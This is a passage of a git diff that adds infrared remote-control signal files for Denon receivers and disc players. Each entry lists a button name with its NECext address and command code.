+protocol: NECext +address: 07 04 00 00 +command: 66 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,5.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,5.ir new file mode 100644 index 000000000..dd4a523dd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,5.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: XM_MEMORY +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 0C 00 00 00 +# +name: XM_SHIFT +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 0D 00 00 00 +# +name: XM_SEARCH +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 12 00 00 00 +# +name: XM_PRESET_- +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 15 00 00 00 +# +name: XM_PRESET_+ +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 16 00 00 00 +# +name: XM_CH- +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 31 00 00 00 +# +name: XM_CH+ +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 32 00 00 00 +# +name: XM_CURSOR_UP +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 43 00 00 00 +# +name: XM_CURSOR_DOWN +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 44 00 00 00 +# +name: XM_CURSOR_LEFT +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 45 00 00 00 +# +name: XM_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 46 00 00 00 +# +name: XM_ENTER +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 47 00 00 00 +# +name: XM_SHIFT_A +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 50 00 00 00 +# +name: XM_SHIFT_B +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 51 00 00 00 +# +name: XM_SHIFT_C +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 52 00 00 00 +# +name: XM_SHIFT_D +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 53 00 00 00 +# +name: XM_SHIFT_E +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 54 00 00 00 +# +name: XM_SHIFT_F +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 55 00 00 00 +# +name: XM_SHIFT_G +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 56 00 00 00 +# +name: XM_1 +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 60 00 00 00 +# +name: XM_2 +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 61 00 00 00 +# +name: XM_3 +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 62 00 00 00 +# +name: XM_4 +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 63 00 00 00 +# +name: XM_5 +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 64 00 00 00 +# +name: XM_6 +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 65 00 00 00 +# +name: XM_7 +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 66 00 00 00 +# +name: XM_8 +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 67 00 00 00 +# +name: XM_9 +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 68 00 00 00 +# +name: XM_0 +type: parsed +protocol: NECext +address: 07 05 00 00 +command: 69 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,6.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,6.ir new file mode 100644 index 000000000..3da4b0903 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,6.ir @@ -0,0 +1,380 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 02 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 02 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 03 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 03 00 00 00 +# +name: MAIN_ON +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 06 00 00 00 +# +name: MAIN_OFF +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 07 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 19 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 1B 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 1D 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 1E 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 1F 00 00 00 +# +name: INPUT_PHONO +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 30 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 30 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 31 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 32 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 32 00 00 00 +# +name: INPUT_CD-R +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 33 00 00 00 +# +name: INPUT_IPOD +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 3B 00 00 00 +# +name: IPOD +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 3B 00 00 00 +# +name: INPUT_DVD/VDP +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 40 00 00 00 +# +name: DVD/VDP +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 40 00 00 00 +# +name: INPUT_VCR +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 45 00 00 00 +# +name: INPUT_V.AUX +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 49 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 50 00 00 00 +# +name: TUNING_+ +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 50 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 51 00 00 00 +# +name: TUNING_- +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 51 00 00 00 +# +name: CHAN_+ +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 52 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 52 00 00 00 +# +name: CHAN_- +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 53 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 53 00 00 00 +# +name: TUNER_SHIFT +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 54 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 54 00 00 00 +# +name: TUNER_FM/AM +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 57 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 57 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 58 00 00 00 +# +name: TUNER_XM_RADIO +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 5B 00 00 00 +# +name: XM_RADIO +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 5B 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 5C 00 00 00 +# +name: TUNER_MODE +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 5C 00 00 00 +# +name: TUNE_MEMORY +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 60 00 00 00 +# +name: TUNER_MEMORY +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 60 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 76 00 00 00 +# +name: +10_SEARCH +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 78 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 78 00 00 00 +# +name: PURE_DIRECT +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 103 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 110 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 111 00 00 00 +# +name: VOLUME_MUTE +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 112 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 112 00 00 00 +# +name: VIDEO_SELECT +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 170 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 190 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 07 06 00 00 +command: 1A0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,7.ir new file mode 100644 index 000000000..07c0deb63 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,7.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: Z2_ON +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: Z2_OFF +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: ZONE_2_OFF +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: ZONE_2_ON +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: Z2_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: Z2_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: Z2_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: Z2_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: Z2_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: Z2_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: Z2_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: Z2_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 17 00 00 00 +# +name: Z2_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 18 00 00 00 +# +name: Z2_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 19 00 00 00 +# +name: Z2_INPUT_PHONO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 30 00 00 00 +# +name: Z2_PHONO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 30 00 00 00 +# +name: Z2_INPUT_TUNER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 31 00 00 00 +# +name: Z2_TUNER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 31 00 00 00 +# +name: Z2_INPUT_CD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 32 00 00 00 +# +name: Z2_CD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 32 00 00 00 +# +name: Z2_INPUT_CD-R_TAP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 33 00 00 00 +# +name: Z2_CD-R/TAPE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 33 00 00 00 +# +name: Z2_INPUT_IPOD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3B 00 00 00 +# +name: Z2_INPUT_DVD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 40 00 00 00 +# +name: Z2_DVD/VDP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 40 00 00 00 +# +name: Z2_INPUT_VCR +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 45 00 00 00 +# +name: Z2_VCR +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 45 00 00 00 +# +name: Z2_INPUT_V.AUX +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 49 00 00 00 +# +name: Z2_V.AUX +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 49 00 00 00 +# +name: Z2_BAND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 58 00 00 00 +# +name: Z2_SEARCH +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 78 00 00 00 +# +name: Z2_A_MEM_BLOCK +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 80 00 00 00 +# +name: Z2_B_MEM_BLOCK +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 81 00 00 00 +# +name: Z2_C_MEM_BLOCK +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 82 00 00 00 +# +name: Z2_D_MEM_BLOCK +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 83 00 00 00 +# +name: Z2_E_MEM_BLOCK +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 84 00 00 00 +# +name: Z2_F_MEM_BLOCK +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 85 00 00 00 +# +name: Z2_G_MEM_BLOCK +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 86 00 00 00 +# +name: Z2_VOLUME_+ +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 110 00 00 00 +# +name: Z2_VOLUME_- +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 111 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,8.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,8.ir new file mode 100644 index 000000000..b14f8f6ef --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,8.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: Z3_ON +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 06 00 00 00 +# +name: ZONE_3_ON +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 06 00 00 00 +# +name: Z3_OFF +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 07 00 00 00 +# +name: ZONE_3_OFF +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 07 00 00 00 +# +name: Z3_1 +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 10 00 00 00 +# +name: Z3_2 +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 11 00 00 00 +# +name: Z3_3 +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 12 00 00 00 +# +name: Z3_4 +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 13 00 00 00 +# +name: Z3_5 +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 14 00 00 00 +# +name: Z3_6 +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 15 00 00 00 +# +name: Z3_7 +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 16 00 00 00 +# +name: Z3_8 +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 17 00 00 00 +# +name: Z3_9 +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 18 00 00 00 +# +name: Z3_0 +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 19 00 00 00 +# +name: Z3_INPUT_PHONO +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 30 00 00 00 +# +name: Z3_PHONO +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 30 00 00 00 +# +name: Z3_INPUT_TUNER +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 31 00 00 00 +# +name: Z3_TUNER +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 31 00 00 00 +# +name: Z3_INPUT_CD +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 32 00 00 00 +# +name: Z3_CD +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 32 00 00 00 +# +name: Z3_INPUT_CD-R_TAP +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 33 00 00 00 +# +name: Z3_CD-R/TAPE +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 33 00 00 00 +# +name: Z3_INPUT_IPOD +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 3B 00 00 00 +# +name: Z3_INPUT_DVD +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 40 00 00 00 +# +name: Z3_DVD/VDP +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 40 00 00 00 +# +name: Z3_INPUT_VCR +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 45 00 00 00 +# +name: Z3_VCR +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 45 00 00 00 +# +name: Z3_INPUT_V.AUX +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 49 00 00 00 +# +name: Z3_V.AUX +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 49 00 00 00 +# +name: Z3_BAND +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 58 00 00 00 +# +name: Z3_SEARCH +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 78 00 00 00 +# +name: Z3_A_MEM_BLOCK +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 80 00 00 00 +# +name: Z3_B_MEM_BLOCK +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 81 00 00 00 +# +name: Z3_C_MEM_BLOCK +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 82 00 00 00 +# +name: Z3_D_MEM_BLOCK +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 83 00 00 00 +# +name: Z3_E_MEM_BLOCK +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 84 00 00 00 +# +name: Z3_F_MEM_BLOCK +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 85 00 00 00 +# +name: Z3_G_MEM_BLOCK +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 86 00 00 00 +# +name: Z3_VOLUME_+ +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 110 00 00 00 +# +name: Z3_VOLUME_- +type: parsed +protocol: NECext +address: 07 08 00 00 +command: 111 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/8,-1.ir new file mode 100644 index 000000000..2e484e374 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/8,-1.ir @@ -0,0 +1,632 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_REPEAT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: SKIP_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: CD_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: CD-FF +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: CD_SEARCH_>>_(>>) +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: SKIP_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: CD_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: CD-RW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: CD_SEARCH_<<_(<<) +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: CD_SCAN_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: CD_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: CD-SEARCH+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: CD_SCAN_FWD_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: CD_SCAN_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: CD_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: CD-SEACH- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: CD_SCAN_REV_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: CD-PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: PAUSE_A/B +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: CD-PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: CD_PAUSE_(A/B) +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 +# +name: CD-STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 64 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 65 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 66 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 67 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 68 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 69 00 00 00 +# +name: CD_RANDOM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6A 00 00 00 +# +name: CD_DISC_SKIP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: SKIP_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: SKIP_+_REV +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: CD_DISC_SKIP_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: CD_DISC_SKIP_+_(POW) +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: CD-SKIP_DISC+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: CD_DISC_SKIP_(<) +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 81 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 82 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 83 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 84 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 85 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 86 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 87 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 88 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 89 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8A 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8C 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8D 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 90 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 91 00 00 00 +# +name: DVD-MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 91 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 92 00 00 00 +# +name: DVD-RETURN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 92 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 98 00 00 00 +# +name: DVD-FF +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 98 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 99 00 00 00 +# +name: DVD-RW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 99 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: DVD-SEARCH+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9B 00 00 00 +# +name: DVD-SEARCH- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9B 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9D 00 00 00 +# +name: DVD-PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A0 00 00 00 +# +name: DVD-PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A0 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A1 00 00 00 +# +name: DVD-STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A1 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A4 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A5 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A6 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A7 00 00 00 +# +name: DVD-DISPLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A7 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A8 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A9 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AB 00 00 00 +# +name: DVD-DISC_SKIP+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AB 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AC 00 00 00 +# +name: DVD-CURSOR_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AC 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AD 00 00 00 +# +name: DVD-CURSOR_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AD 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AE 00 00 00 +# +name: DVD-CURSOR_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AE 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AF 00 00 00 +# +name: DVD-CURSOR_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AF 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 08 00 00 00 +command: B1 00 00 00 +# +name: DVD-POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: B1 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext 